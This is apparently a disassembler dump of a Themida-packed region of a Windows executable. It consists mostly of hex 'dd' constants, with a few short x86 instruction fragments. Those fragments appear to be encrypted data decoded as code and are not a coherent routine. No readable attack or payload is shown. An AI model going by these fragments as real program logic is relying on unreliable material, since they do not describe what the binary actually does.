		dd 5906D374h, 7043C567h, 0AB730E11h, 0D000C41Fh, 0E2FDD7D4h
		dd 37E148D8h, 74872C9Ch, 0E3283EEFh, 2F3F0D0Ch,	0D7342267h
		dd 0CD0C1980h, 0B71D2CF8h, 2043616Eh, 0B8A5EFE5h, 2E464h
		dd 0F38A7378h, 68D62DF9h, 9150C701h, 8E7E69C8h,	7BA9DCh
		dd 19DF6A21h, 67A41EA2h, 0AC152A01h, 71F0384h, 0B06DB443h
		dd 48AE69D6h, 0E90138E1h, 0DEC4F3C2h, 0A6D5C4ADh, 0B6BBBD18h
		dd 14DC6F9h, 0CE985066h, 0F8D4AD7Eh, 400EE9Eh, 0D576E1E5h
		dd 39A4ED48h, 88541469h, 0A8EB056Dh, 807DB4D9h,	8C2E73E0h
		dd 0B0785100h, 0D2ED9A4Ch, 313D0070h, 58BC9879h, 4603C919h
		dd 0B93CD3C4h, 0E7A1D0F3h, 69660C4Bh, 0A6596C15h, 0B9D6A204h
		dd 0BAC024EAh, 195FB775h, 205B8BB6h, 0D560E258h, 8C2E767Fh
		dd 1E039A69h, 28608BB3h, 9D0F21h, 1301657Eh, 765554F6h
		dd 2B05F200h, 78D2F31Bh, 0F5768Ch, 25333D14h, 60D749DEh
		dd 0DCB9892Ah, 0AF6B441Eh, 6F30E03Dh, 294A1Ah, 31B92C4Bh
		dd 0D0E6CCBh, 0E9A3E301h, 6E379A68h, 0A9F3C180h, 7BA1CD18h
		dd 74132600h, 8D3D2819h, 24608862h, 9469A968h, 0DCFFA506h
		dd 61660011h, 657FE270h, 4803C223h, 1226413Fh, 0EFF2D80Eh
		dd 24BA00BFh, 3ED05903h, 0B3FEB298h, 0E5C2048h,	0E0923F83h
		dd 46E36B16h, 0D9BA1E7Dh, 2101B93Ch, 989CD2BCh,	55EAC85Ch
		dd 4259B300h, 0B0D546DDh, 1E470052h, 790F3137h,	260F913Ch
		dd 38A769Eh, 72073h, 0A5B51149h, 9438A7BCh, 19DD8430h
		dd 1F96410h, 0F7850648h, 42CDD0E8h, 0F7FC2EB7h,	1E1EFB17h
		dd 61A30E43h, 4A78063Ah, 612F7A88h, 76ED4101h, 5C31ABC4h
		dd 0C9012087h, 500592Eh, 0A0AD3DF3h, 0A82C3631h, 7FDC7C78h
		dd 0BE8300D2h, 8C21C32Eh, 2500C73Dh, 5582DC97h,	39725E3Ah
		dd 519C2681h, 0F29A421h, 61805CF5h, 0AF97B082h,	422F600h
		dd 0C78FDB53h, 0B5FA5Bh, 9C09C168h, 6BA90CB1h, 97ACC000h
		dd 698B2B85h, 147D004Fh, 950A7F92h, 0ED4C499Ch,	6AB41FC9h
		dd 9FA38780h, 0DC90624h, 0F9BF3461h, 327FE051h,	64CCE200h
		dd 629D80B7h, 7DF3E9C4h, 2460721h, 0C18F1287h, 83696388h
		dd 5E49818h, 3E6000F3h,	0F7937B61h, 0EA35CD34h,	0B08058BFh
		dd 7AE7C084h, 63C2006Fh, 0C8E67FEEh, 6207EDB7h,	6574B6BEh
		dd 238AAECEh, 0FF0D94h,	0B50199B8h, 655F406Ah, 5E91E00Eh
		dd 86B7A095h, 288ED4BAh, 0D9BBC4h, 7451BC1Ah, 0AA680E7Eh
		dd 0D9E158C0h, 907F2h, 49C6903h, 0C4DCE6BAh, 6C65C205h
		dd 8FC4F418h, 8008C87h,	6DDB09h, 0CEE5A283h, 9B9D71F0h
		dd 0CD18E663h, 0F2080005h, 40C81A9h, 57004131h,	92EAD119h
		dd 8DFA0h, 0D888EBDBh, 760E9D63h, 0F300F7FEh, 16CB5FF2h
		dd 0F6ECC4h, 0B87EBC86h, 76DA225Ah, 0F238EA60h,	75C19E0Eh
		dd 0A330C7C3h, 0ED67906Dh, 1D30866Ch, 9D8748FAh, 0DAEA0684h
		dd 0A916936Fh, 751F497Ah, 0F032F1CDh, 6B5C134h,	0EB991h
		dd 1D280D35h, 3CAF780h,	0FF59A2DFh, 61E94AC2h, 0DB9440F4h
		dd 0EA001370h, 0C3C95B2Bh, 4F1E0Ah, 0BD33D914h,	26348AEh
		dd 0D7023790h, 7C29C784h, 828180C3h, 650D5575h,	30D9107Fh
		dd 0AEE5E404h, 982710C0h, 7A4F7Bh, 5E6BE85Ch, 0B52D4A97h
		dd 0E3399178h, 9A8F24D2h, 29B1BF0Ch, 12B940D4h,	7428A100h
		dd 47B4DE86h, 0F4EA00B6h, 23146ECh, 3401B072h, 0FE103A43h
		dd 0F7F4A656h, 0A31C0367h, 0AA7F667Bh, 0FD7FFF8h, 2B00F17Bh
		dd 0C8837075h, 5CBACCF9h, 17FB5EDh, 63A6C507h, 0E4919861h
		dd 0D977AB33h, 0BCC9A000h, 0DCD19C39h, 0BE8700C5h, 0FF302F98h
		dd 6173828h, 0A600C132h, 3A5CDAC8h, 62AB593Eh, 427B731Fh
		dd 0EB8874A6h, 635DBE0h, 0C1ACA503h, 0E5BF658Bh, 6F80941Ch
		dd 0FDFA5CC9h, 7A850A64h, 0F35302h, 7D2F42Dh, 0FE00DF5Ah
		dd 0AAE37142h, 744D49h,	353C208Fh, 4770410Bh, 8BA6C200h
		dd 132806CFh, 5A2B0FEDh, 69A11CE0h, 0E8EFA0BDh,	9D00CA6Fh
		dd 73D1DFBFh, 411562h, 0FE33A117h, 0A3E0E6F6h, 802A6000h
		dd 66FA6A05h, 0E4B309B0h, 8980A143h, 0F1D8638Bh, 0ECAA8A28h
		dd 9F7E4500h, 8DB4C99Eh, 0E1520E8Fh, 35C02947h,	5ACB84B2h
		dd 3C0759FAh, 1AA1C515h, 0A1129882h, 0EEEA24E4h, 2B2EF8h
		dd 0DF33C072h, 370D92D8h, 0F03A3E01h, 7C905079h, 0FE9748D4h
		dd 8E60022Fh, 0E7875B35h, 3776B2E0h, 0F5784A00h, 61EBA6A7h
		dd 49ED1C54h, 8D400020h, 371050DDh, 7B9B6D07h, 7540625Fh
		dd 0B0A38E95h, 0C8A960EAh, 9E30259h, 0A2E81D12h, 0A2001C12h
		dd 4990141h, 472C00F0h,	0C7E3B5D9h, 0CE5C0588h,	464500C7h
		dd 61B8B994h, 0C2A2001Ch, 0D333F50Fh, 93606E83h, 0A98D7AC8h
		dd 20501F78h, 9F5C8E4Ah, 0D3BD5640h, 8B00A4E2h,	0ED4BF7Dh
		dd 9454A5h, 4966C0F9h, 3A254092h, 60EB1200h, 41B95F36h
		dd 0B3CA00A3h, 0E82779C1h, 9B007FD8h, 0E6CCD4F3h, 38175D7Ah
		dd 0DF8030A0h, 3DCF1BF9h, 480005DEh, 58CB7E44h,	0A037BD85h
		dd 0FA0CE0D3h, 0BFF70097h, 4F805E47h, 0DF015B53h, 4160B6D4h
		dd 0EBC8247Ah, 2011006Fh, 365F3BF9h, 2800144Dh,	40B7BEFDh
		dd 701AA4h, 8ADE4CC1h, 0F9AD96C7h, 0DE4D604h, 14D037B7h
		dd 36C09h, 0EE4FF51Ah, 4114305h, 69227900h, 19A15ABh, 0D2FE00FFh
		dd 526FCA36h, 0ED3E8FE4h, 6ED50075h, 43D45508h,	0A5AE004Fh
		dd 6A225066h, 0DB05FB3Ch, 371389BCh, 0C03F5B82h, 0EE6149D0h
		dd 2E1B5C6Ah, 66F9AC03h, 0B0D8C2AFh, 50242D9Dh,	0AA00D8B9h
		dd 47D04D58h, 0D4D70030h, 34DCC176h, 18607A3Bh,	9AF8FDC8h
		dd 3239131Dh, 884D00D6h, 6D60E93Fh, 8F462509h, 4F78A0B9h
		dd 7CC6959Ah, 54A60AE7h, 3F45B99h, 7D36AF3Ch, 20FFF7AFh
		dd 73E812F4h, 0D976B700h, 0E6220CF3h, 0BCC33F2Ah, 0B2273509h
		dd 9D6938A0h, 38C05FACh, 64AF8567h, 89F0089h, 0F4D9AD9Ch
		dd 0CF0081E0h, 2FAEA92Dh, 0B65FEEh, 6EDB337h, 0DD7726F3h
		dd 8C3C4700h, 0D414CE2Eh, 0FFF2005Ch, 0E41E4D27h, 2F00F5EBh
		dd 85D2CA23h, 0FE564C22h, 0E3F70039h, 0C4C6595Bh, 30E9B537h
		dd 0EB00CEC6h, 621A9540h, 0BEF478h, 0A21860E6h,	0B49ED598h
		dd 58C72400h, 0B1FB8B2Ah, 0EAD314C3h, 0EC009087h, 893AEA1h
		dd 740356D4h, 0FD0D499Dh, 7E67F052h, 0F90E2BEh,	0DA359239h
		dd 7D5DB460h, 0F701BCAAh, 2CA4B870h, 42ECFDF2h,	3A1600C5h
		dd 60EE6CC3h, 0C6004CA6h, 2202BB17h, 9C07EBh, 0F73BFF3Eh
		dd 0C91C0647h, 0B3EE6D09h, 0BA9427CFh, 0B25A150h, 39721FF8h
		dd 2BE280B1h, 49E8C723h, 7EDB962Fh, 8FD8015Ch, 0D79DEFCBh
		dd 762DDEA0h, 3A872303h, 0E7AA919Ah, 0FF80F070h, 1037FF2h
		dd 684F9ECEh, 245A29AFh, 1A1C34A4h, 0B3C0F51Ch,	0EB7C0AFFh
		dd 60ED5858h, 8C6C3F00h, 0CEFEF6FBh, 0EF69B91Dh, 2800BD12h
		dd 7472B2B6h, 0FE6006Fh, 0FC09024Fh, 0C1003436h, 5B10E5A0h
		dd 38AD972h, 0D71B4BF5h, 48A8F983h, 333CDBA2h, 267001C9h
		dd 4FFCBA97h
		dd 0CFDFE0h, 0FE60C840h, 0A3E2BA2h
		db 0
a_JqU0DxN	db 'ы.$├÷ [·0╩dXв"n',0  ; DATA XREF: ___:off_43859Co
					; ___:off_4385B4o
		db 20h,	0F8h, 0F3h
; ---------------------------------------------------------------------------
		cmp	cl, ch
		jmp	short loc_5300AD
; ---------------------------------------------------------------------------
		dd 114F001Dh, 0B8E0E950h
; ---------------------------------------------------------------------------


loc_530074:				; CODE XREF: Themida_:005300C4j
		and	dl, [edi]
		add	[eax], dl
		inc	ebp
		cmp	al, 0CAh
		and	al, 23h
		jmp	short loc_5300D8
; ---------------------------------------------------------------------------
		align 10h
		dd 0C21AD032h, 8ACC30Ah, 80F32D3Dh, 0F46050ECh,	0E933Ah
		dd 244E8A15h, 53776799h, 8C552300h, 909EF0AEh, 0F8F60052h
		dd 0FE091F98h
		db 0Ch
; ---------------------------------------------------------------------------


loc_5300AD:				; CODE XREF: Themida_:0053006Aj
		outsd
		add	[edi-744E842Dh], cl
		aaa
		push	4
		adc	ah, ds:0B000806Bh
		sub	[edx+ecx*8], dl


loc_5300C0:				; CODE XREF: Themida_:loc_5300C0j
		jle	short loc_5300C0
		add	[edi], ah
		jb	short loc_530074
; ---------------------------------------------------------------------------
		dw 0CD8Eh
		dd 7BA42ECh, 80316F8Ah,	12FB03BBh, 0E2EAC2D0h
; ---------------------------------------------------------------------------


loc_5300D8:				; CODE XREF: Themida_:0053007Dj
		add	[ebx+13h], dl
		pushf
		cld
		test	[ecx], ch
		les	ecx, [esi+esi*8]
		pop	esp
		mov	esp, 127B8064h
		lahf
		mov	ds:0B23E00EFh, ch
		retn
; ---------------------------------------------------------------------------
		db 0Dh,	70h, 0D7h
		dd 0F965F707h, 6181DC8Ah, 1090F084h, 0A75E039Ah, 8FF5BF3h
		dd 92C9E420h, 23228C00h, 48196866h, 607089FCh, 9F7969B8h
		dd 0CD13D427h, 820A7166h, 0F9010897h, 98B9B274h, 0C7DDB0CCh
		dd 10682F50h, 88997B25h, 0D081A300h, 19F045CEh,	0EEB20F4Dh
		dd 88F870FDh, 2F384F77h, 811F7CC4h, 928049ABh, 47885642h
		dd 46A70020h, 0A34F50EEh, 8E7E37EFh, 0F3C7200h,	0C481FC3h
		dd 66E80F41h, 0C05D85F6h, 558C602Eh, 2A0017F5h,	8290B2BEh
		dd 67A26664h, 90AEE8F4h, 2128B713h, 0E0682E33h,	0C5083019h
		dd 0B712B621h, 2CF69D00h, 49E9E3F5h, 45890776h,	0A1E27CE8h
		dd 0FBD80DA2h, 83B61814h, 0F0240294h, 0A099940Eh, 9DB2CEA8h
		dd 1BC30E6Fh, 7C6C8879h, 0D0A1DF08h, 9D84208Ch,	36B1C202h
		dd 8ABC46D7h, 65832C88h, 0BB869A22h, 6C110077h,	0F91A3B14h
		dd 5919C3C2h, 0A408D2F1h, 2C362180h, 8794243Bh,	8406C907h
		dd 0B8307107h, 0C455090h, 781517F9h, 0E1182310h, 1170E7FEh
		dd 0A87418E3h, 0DB44D88Ch, 5849FF0Ah, 61919CB8h, 13B71C80h
		dd 448C2621h, 0ACA0B954h, 6B00CBFEh, 2F0BBCF1h,	180444Ah
		dd 0BF1C1D45h, 0EC257648h, 0B96C16C7h, 8C85E880h, 6F3B2702h
		dd 19DCFAF9h, 1F4D10A9h, 0FF743Bh, 0A156A84Bh, 57531C1h
		dd 0C8F02828h, 3DBAC480h, 10C0C9E8h, 0D88D37C1h, 30B8E7h
		dd 0D2CCF28Bh, 451CDE16h, 60A76A00h, 0F7F66E66h, 3FB50044h
		dd 5E3102BAh, 9300B3BFh, 2ED0EB82h, 0EA74F0h, 44096119h
		dd 0E0A933DDh, 0F14E8901h, 4D81D836h, 6EDC64D1h, 9C01288Bh
		dd 96E601B7h, 9A25D3B5h, 80ECC435h, 7037B000h, 7C33A8B2h
		dd 0C23F00DAh, 52B77A69h, 0BB03AAA1h, 0B894CACh, 56D1A805h
		dd 3DC50060h, 619B7732h, 0F9007E4Bh, 2BD899BCh,	0EED5319Ah
		dd 76BA1F38h, 0F67800FCh, 95658BF3h, 550019FCh,	0D37E77FBh
		dd 1C4426F4h, 80E5A1E0h, 99FFA0B2h, 34005F52h, 0AB240BFBh
		dd 0CD5433ADh, 0DC21B008h, 0BD003477h, 0D8D6881Ch, 0E45AB89Fh
		dd 4C2A80B1h, 3709431Fh, 8CACC313h, 42241B07h, 68D5092h
		dd 3B1FA377h, 1A000B44h, 91877E80h, 0E9C41D99h,	0DF8830F5h
		dd 5F0171FBh, 94ADDDBAh, 88CED82h, 0B5209A26h, 9F711301h
		dd 0D4DB0A23h, 784EFDCh, 0FF8C2D8Fh, 1BFD904Bh,	31C002E8h
		dd 906BD323h, 6D773D4Dh, 71B800FDh, 4CD85FA4h, 4363B614h
		dd 70EA788h, 88C29830h,	0D7823090h, 0FE0F13DBh,	837FCE1Bh
		dd 1CCAC4BBh, 8C1AFFA9h, 670ED7Bh, 863E8F18h, 19B2F720h
		dd 299C175Ah, 0E6EAE4B9h, 0B4BE1A01h, 0B5CE12CBh, 9C409DD3h
		dd 99E9BFCFh, 0F97302h,	5E2D6D80h, 0F669D981h, 9B70FC60h
		dd 36B8CAh, 7B7E3355h, 0FDB382A3h, 71BA1903h, 13F47685h
		dd 590899h, 93525834h, 0F4A938CAh, 87918EFh, 540B1134h
		dd 0F240B7C4h, 0A9C23451h, 56456600h, 0C6DF8C4Fh, 82670054h
		dd 96C8E07Ch, 44001599h, 877DE2DAh, 169598Ch, 0E0FEF0A5h
		dd 0E0D23385h, 4C03A376h, 0D44F0468h, 0A8A4910Bh, 0ABDCF0F3h
		dd 40F60044h, 7BF7B21Dh, 8C008042h, 9E0882DEh, 192038h
		dd 6E2B942Eh, 22A6E21Bh, 3866A00h, 0AFE627E9h, 7C7299h
		dd 0DC5461BEh, 85D3FB18h, 63C1C900h, 0F9967E8Bh, 39B7001Ah
		dd 20979D8h, 8500A7B9h,	0A47D51E9h, 0C159AD28h,	0A8784634h
		dd 6514409Ch, 7501426Bh, 27B81E2Bh, 5BF07828h, 196F07BAh
		dd 196D94Eh, 0EF3BB259h, 0C99C1000h, 70A94373h,	7CF8EF63h
		dd 7711F5Ah, 987E809Fh,	34F0DB10h, 70022F30h, 388F62h
		dd 297748F5h, 0E7BE752Eh, 43885907h, 0B06020AFh, 6D349C5h
		dd 2AABC9A4h, 90138D5h,	1FBAE9F4h, 3C8168FAh, 549F91A9h
		dd 7A9420E6h, 0AD5D5A1Ch, 303A3B0Ch, 96670002h,	6F633CC1h
		dd 0CF0092AFh, 0AB3BCB5Bh, 2841D31h, 83F7F98Dh,	46001F4Fh
		dd 6C73722Dh, 0FC20403Fh, 403B0E18h, 0D91F51h, 69653EF2h
		dd 0A7F8857Eh, 77220800h, 0BF252CC8h, 0D68C00D2h, 3283D527h
		dd 0D00BADEh, 39574EB7h, 0FE45BA4h, 56964A91h, 0ED8189EBh
		dd 0C10D11C7h, 0F01860A6h, 3562670Fh, 0DDCBC045h, 13865B8h
		dd 31FBE45Dh, 0CC91E5CEh, 0F007CD5Ch, 0A8D08E32h, 710A802Eh
		dd 8E71Ch, 43B58291h, 0B08A3312h, 0DD6D9F00h, 72EB39DBh
		dd 9127001Ah, 987635A2h, 0F300A3DCh, 7FE7669Eh,	17AC2D4h
		dd 918DBE0h, 871295F6h,	0EE390D88h, 15AFF83h, 33B6DB50h
		dd 80524CA5h, 0C5DCCED0h, 60039CD2h, 2309A1EFh,	30C07517h
		dd 0F7E01E4Fh, 83620048h, 9095D4ADh, 8772CDFBh,	8CA6262Ah
		dd 7F2FD50Fh, 0A3B56333h, 0E05CF3AEh, 1EB1B642h, 0CECCE8F8h
		dd 0A8003B41h, 3EC6A582h, 0E6DB300h, 3832BFB6h,	0FD7394h
		dd 0D58C5039h, 0A372DA21h, 0FC58D228h, 0A87B5E00h, 0E2F98A41h
		dd 5D610063h, 30E0814h,	461DE33Ch, 813A5516h, 0F6E07E05h
		dd 97D039C2h, 47D11DDAh, 21621899h, 0F000A41Fh,	17B3C0BDh
		dd 213588Fh, 0AB38AC3Eh, 0EBC0FEC2h, 0C80449DAh, 6BF16162h
		dd 598FC880h, 609D7D98h, 19A5485Eh, 502C71B4h, 780CFC4Dh
		dd 0C0010815h, 0B45BF621h, 333776B0h, 76018A3h,	3F5E0526h
		dd 3079E3C9h, 8310FC85h, 0EB001A48h, 51F0187Eh,	0E8FA7036h
		dd 20376012h, 1613499Ah, 739E7D00h, 146EFECFh, 0FC940C36h
		dd 0B3D9A683h, 30DE39F2h, 1277D901h, 80834F96h,	0B00A9A87h
		dd 365E2900h, 0BDD651C7h, 36DE704Dh, 98A0E1A3h,	8006CA21h
		dd 7E2D1A4Eh, 4486F148h, 4500342Ch, 2E0D4413h, 0B65DB2h
		dd 1A269C41h, 14307553h, 52D00B54h, 2A6098F0h, 9E242710h
		dd 0B2E42869h, 0D28E008Ah, 0CF846FEEh, 2C00A5FBh, 9FCD05C1h
		dd 186EB52h, 0C413E0Eh,	0DCC8C42Ah, 220088F4h, 3E742FFh
		dd 0E169FE0h, 12BFDF4Fh, 43B34020h, 7DF41AC4h, 65183E00h
		dd 7FDE46E4h, 0D2EA008Fh, 832E4884h, 9207813Ah,	0C860C0A2h
		dd 0E81F1960h, 0BB640023h, 3361A0BDh, 0B774B334h, 8B6C6600h
		dd 9DE5272Dh, 1BCA07C7h, 46C01742h, 750021C3h, 6D9B2765h
		dd 9AA16Eh, 525BC681h, 6B0E55EEh, 28BB8C37h, 0D8C54A50h
		dd 0ECC11F3Bh, 0E557C338h, 0C4A15E60h, 0A4208017h, 0C22A3A30h
		dd 49EF00A3h, 35C1F3EEh, 5C7CA1F0h, 0E785A80Eh,	9912C155h
		dd 304A0F4Ah, 301EB8C4h, 23D88Fh, 6BFAAADh, 216C9FAEh
		dd 48341330h, 60FCEE4Ah, 23CD6887h, 0F9079384h,	6BE104A1h
		dd 0E7F60A23h, 805EB555h, 816A998Ch, 0C2D50764h, 0C174F6E5h
		dd 95885185h, 0A8540E48h, 3BE7B3Ch, 4308B28Ch, 0EB9817FEh
		dd 88A36415h, 0B641BCA0h, 7C33783Ah, 18567D30h,	0E28F7398h
		dd 0FFE100E9h, 0CC1BD39Bh, 6F1F5974h, 9880EE40h, 165B79C9h
		dd 38FC0445h, 0EF2E5FB4h, 0B00348C0h, 29633BA0h, 0EC924A03h
		dd 0E8A04D8Ah, 4F0041FBh, 0DA8718ACh, 0B60415h,	7C55581Fh
		dd 0C85FB3D2h, 1286430Fh, 18E9200Fh, 188A491h, 0AA9015B9h
		dd 0C8815CC7h, 2F0042AEh, 64E3C603h, 0EEBA9716h, 99683B04h
		dd 6F2BC100h, 4783D9B9h, 21C408CCh, 96EA00C3h, 829313E9h
		dd 0DC008A98h, 0B1CA5C9Ch, 0F0B032Ah, 0C8041C85h, 31BC6EE0h
		dd 510E5DCBh, 0D78E4Eh,	9D501B6Ah, 0DA9E0095h, 3E328E0h
		dd 3ED016AFh, 8AC90610h, 0C248D9B7h, 1E4A6E21h,	0DA09F303h
		dd 5AE501F8h, 0C0CFD796h, 538D1C90h, 83817460h,	762B1312h
		dd 0DBFA0C7Eh, 1F081061h, 9C20D760h, 7CE3136Bh,	0B42838A9h
		dd 8A6D028Fh, 40747227h
		dd 79032B2Ah, 633E2300h, 0AA78B2DBh, 3F274D3h, 0ED6F076Eh
		dd 4B901D11h, 85003B03h, 0DA9CDBE4h, 1BFCA80h, 2C5E8127h
		dd 0F04C82A7h, 25007201h, 0DFAC402Fh, 0BB7A93h,	5CBA59E2h
		dd 86C0AAD1h, 879E8A0Fh, 3CC6C0E4h, 13A3CE55h, 0C464E7h
		dd 4A2DEF70h, 661E0E61h, 0F58F4119h, 0E4948558h, 845BF000h
		dd 286ACAh, 802EC45Fh, 678579B0h, 7EDB2300h, 0E2582D62h
		dd 17FB005Ch, 0A522D425h, 0AC24DDB3h, 2D00B180h, 575B6BDBh
		dd 0EAAF3EE2h, 90D92030h, 0CD00A470h, 0BD9F617Eh, 0EBF3A9h
		dd 0DD0FD3DCh, 948EA06Ah, 0AF47DA00h, 74583A66h, 383F8E4h
		dd 59DBDED9h, 87CEF1Ch,	0E7E9AE00h, 99110B16h, 430D0FADh
		dd 8BC03038h, 0EB5E9858h, 3F008C7Dh, 960EA9B2h,	7A2126AFh
		dd 0C5223F89h, 2C73789Eh, 5669079Ch, 0B7249062h, 3900CB37h
		dd 3812D9A8h, 3A8F96FBh, 0E00353FCh, 59DA8680h,	0CBDD500Ch
		dd 5C58AEh, 0AB8A0521h,	0EB91A6BEh, 8200F898h, 0CA9257DCh
		dd 7A02477h, 0C6349E5Dh, 8EEFC00Fh, 70FADF1h, 0D26DC9h
		dd 58BFC28Ch, 52B130EEh, 19042FB1h, 833F0B07h, 7F71919Fh
		dd 3CE83850h, 18097F7Ah, 989AC4E5h, 51F5D9A7h, 0BE36CC0Ch
		dd 4B381838h, 1E0C5351h, 24684A9Ch, 267B0064h, 0FFE6B7BEh
		dd 7E048600h, 9FB80B22h, 1EECE9B1h, 12D1E85h, 0E1B7C09Ah
		dd 0E267434Ch, 21C0BDE8h, 1B0115AFh, 0FC9C7C68h, 0E7A53ED5h
		dd 77E4E503h, 0FCD02530h, 0C5241BF1h, 0E11F3F56h, 8E949186h
		dd 0C6AB0729h, 0F0142337h, 81E4C862h, 5560AC74h, 0BD4EE560h
		dd 0A475003Eh, 9A8A3CFEh, 0B6069F6Fh, 3F5AE857h, 4D410788h
		dd 0CC5C080Ch, 68C8E599h, 37FAC09Dh, 0BD761447h, 224F4486h
		dd 420C6800h, 8E039814h, 51BB0FE8h, 30FD253Ch, 68FF1971h
		dd 0C95C3732h, 0F4C9319Ch, 15461440h, 653040h, 0CED03EB8h
		dd 4DF9760Ch, 9A2DF11Dh, 20DC00FFh, 2C7EB51Ah, 18363DF4h
		dd 55950B00h, 0FC6DC102h, 0B7826B00h, 92DB906h,	0C92B0190h
		dd 391AA4A2h, 19AC48F3h, 5388DF18h, 28DA10h, 9B331894h
		dd 0AB387D8Ah, 9F3DCD00h, 649DB4F7h, 0C0930339h, 8F01F888h
		dd 12F0AE80h, 33B91506h, 1C0C953Fh, 8CD130h, 1755F4C1h
		dd 0F2009F96h, 0CA222AC4h, 3D620CFAh, 0A80002B3h, 329063DBh
		dd 2500C43Eh, 24DCEC88h, 7B6EF35Ah, 53B7006Dh, 4DA9FC14h
		dd 8F004B2Eh, 8B5BD1DBh, 0E3229Ch, 7C574CE5h, 785A0604h
		dd 41608F00h, 2FBFDB0Dh, 0E9B4014Bh, 2DDA619Dh,	69A8E8D0h
		dd 14249CBh, 9DDFCAEFh,	714ECE4h, 273E2635h, 64344096h
		dd 5730B905h, 87C5314Eh, 14A001E9h, 76BE9309h, 0A27CDC6Fh
		dd 0DB4BFB00h, 8B52A82Dh, 78F930C1h, 0EF2A6A10h, 8F69BC03h
		dd 60DDD4E1h, 16C91889h, 0B008052h, 0A9036FD0h,	0BE7881h
		dd 0A32E608Eh, 0EAA3D22h, 0F9BAEE03h, 98BC9B6Eh, 0FC438A08h
		dd 2EE8C0A9h, 40153A16h, 0D98C0600h, 0C8F32CDAh, 0A9ED7078h
		dd 4A702E80h, 568400E6h, 0A3F8D1A9h, 900B97F6h,	0C09C823h
		dd 66E1B2h, 96E3F7D3h, 7A70D469h, 847CA77Eh, 72C0C600h
		dd 0AEF01AEh, 15712Dh, 225DDDBDh, 4C8C2C79h, 29BB8E19h
		dd 0CA306048h, 0DED8009Fh, 0EFCEC46Fh, 0CD000CA2h, 0EB9B99B7h
		dd 64E6F3h, 431F5DE7h, 284CEA94h, 7A658900h, 0A2EE667Ch
		dd 3444002Ch, 48C91C9h,	0AE60418Eh, 3FBD0C18h, 0AFB70092h
		dd 9B32EA69h, 36010F07h, 0BB8FA3C3h, 0EE1187F6h, 9D75C442h
		dd 0BFBE1518h, 0EB12B620h, 1DBD5FF0h, 94ABCDh, 244D7165h
		dd 0AE061DFDh, 2EFEFC3Eh, 1E16F890h, 0CBFEF3Dh,	9B80CC4Eh
		dd 3E9D505Ch, 3563F30h,	76153F80h, 0AE8FF88Bh, 7323EC3h
		dd 9EEB9Eh, 0E6A8E516h,	981D23F2h, 19717A15h, 4213D5DDh
		dd 40A826E7h, 6EEF6B01h, 36A5D46h, 0A8C16130h, 437CA0h
		dd 2F942CFFh, 150ED9FBh, 6CC2A800h, 67052C4h, 0DDD30CDBh
		dd 0A18ED5AAh, 7A3BED06h, 1D39D77Eh, 0E26CBA8h,	98CEF7D5h
		dd 646E97C0h, 0F53EE325h, 7440002Fh, 900ACC9Fh,	0ED364422h
		dd 20EBF100h, 0C8BF706Dh, 2662066Fh, 2053D232h,	5155D507h
		dd 34802B23h, 1FCA3C15h, 409D4992h, 80985ABFh, 0CD171BFDh
		dd 0E10037F1h, 18789104h, 46C10E9Fh, 0C4630ED2h, 0DBAAE786h
		dd 0B99B980h, 0AD183CF7h, 0D1D0E287h, 70AE81F4h, 8800FB5Bh
		dd 1ABDE88Ch, 32C8F26h,	0D6AA3AFFh, 99B0D586h, 0FC003C50h
		dd 96524C06h, 49087Fh, 56E90CC5h, 2465DE6Eh, 0FF3A5E90h
		dd 4B350E33h, 80D20EB5h, 57C2F726h, 617000EAh, 7560334Ch
		dd 2B07DF73h, 8D55B1A8h, 0D3267760h, 0C08374CDh, 9EBD3940h
		dd 240096D4h, 32D5D82h,	0E65395h, 21ADB2F4h, 0C9A69D39h
		dd 0DE735200h, 891AA177h, 0E00803FAh, 795588F4h, 4165A4D1h
		dd 0DC7C77E4h, 2F001E20h, 5D1CFF8Ah, 0E4675823h, 0F5390031h
		dd 3D61A2D4h, 520038BDh, 620324BCh, 3718A0E6h, 76984D22h
		dd 0D91DA180h, 0E0F75127h, 957B46C0h, 2CA72E8h,	89F556ADh
		dd 84802BD7h, 87622A1h,	0E9E0390Dh, 3130417Bh, 0BDC30C16h
		dd 5578A31Ch, 0B069A600h, 0D54CF424h, 595401D7h, 0B7FAE12Eh
		dd 0FB7CD410h, 0E6F8F301h, 9B895F46h, 15AC3420h, 24BB3B6Ch
		dd 604F10h, 8AF3F5AFh, 182C80FDh, 0B0D3A3C0h, 4C6048C5h
		dd 4AD20388h, 117F6D98h, 8B040AB0h, 10808CE6h, 6F70004Ah
		dd 5A18218Fh, 0D91C2D75h, 8540B77Dh, 0E5E76949h, 2AE40179h
		dd 0B31FDD61h, 19A4700Eh, 4E4D6D00h, 44153592h,	95430051h
		dd 2FC0F139h, 0D8FBA3B6h, 1000BD0Fh, 0FD757E16h, 75D4Fh
		dd 0CD2DC68Dh, 85DA991Fh, 4565A700h, 7E0AD7F3h,	77EA00F8h
		dd 80AAFBD3h, 1200C37Fh, 7850BF58h, 92B6D05h, 6794FA75h
		dd 4DA74F80h, 0D5078821h, 649D4C8h, 55C9C530h, 6E7E77h
		dd 1F80A456h, 0C770B3CFh, 9419AD00h, 9586B8FFh,	364E2ED8h
		dd 0DF7B00DBh, 0C909FD53h, 2BE8CE00h, 0D597AEF7h, 1F6FAB6h
		dd 2ABDB388h, 0DDFE47C3h, 5DB2E84Fh, 0AC00C275h, 7C62CFEDh
		dd 3C2F13A5h, 0D10E0870h, 7A69FC9Fh, 0BC60940Fh, 5B04DCC9h
		dd 0C0E46000h, 2674A3F1h, 0E169005Ch, 7A18C483h, 0DC00AE08h
		dd 4BE92E99h, 0CD5F49h,	0E2B85E48h, 1241A884h, 0E3F4F126h
		dd 5F184400h, 0DA85A5h,	8E57C99Fh, 3666038Ch, 0B13C0892h
		dd 0B9A180DBh, 6D07D187h, 9860942h, 5380AE24h, 9A958DB2h
		dd 4E000BECh, 3027ABBCh, 10879E7h, 723BD60h, 8037587Eh
		dd 3546D551h, 1C9AF396h, 0BD8EA86Dh, 0DF32421Eh, 0E774C0B3h
		dd 0F15077D1h, 0C3176C03h, 0F80BA140h, 2C85E4h,	136B38E0h
		dd 77EE46ACh, 0B55CE81Dh, 5A227382h, 0AE98032h,	8ACE9Fh
		dd 0C0C3BE30h, 25D7E46Fh, 4616D090h, 8076690h, 4A51FE88h
		dd 80C408B8h, 32CA0097h, 969E5C15h, 0C5F260B0h,	755A401h
		dd 418CDFCCh, 781CECh, 7E3D2762h, 7208ADB9h, 2C20C00h
		dd 0B607400Ah, 136A037Fh, 3FA2CF41h, 1C91B4A0h,	1D739F00h
		dd 0B558BE39h, 28E0744h, 0B383C38Ch, 79A81993h,	5C00259Ah
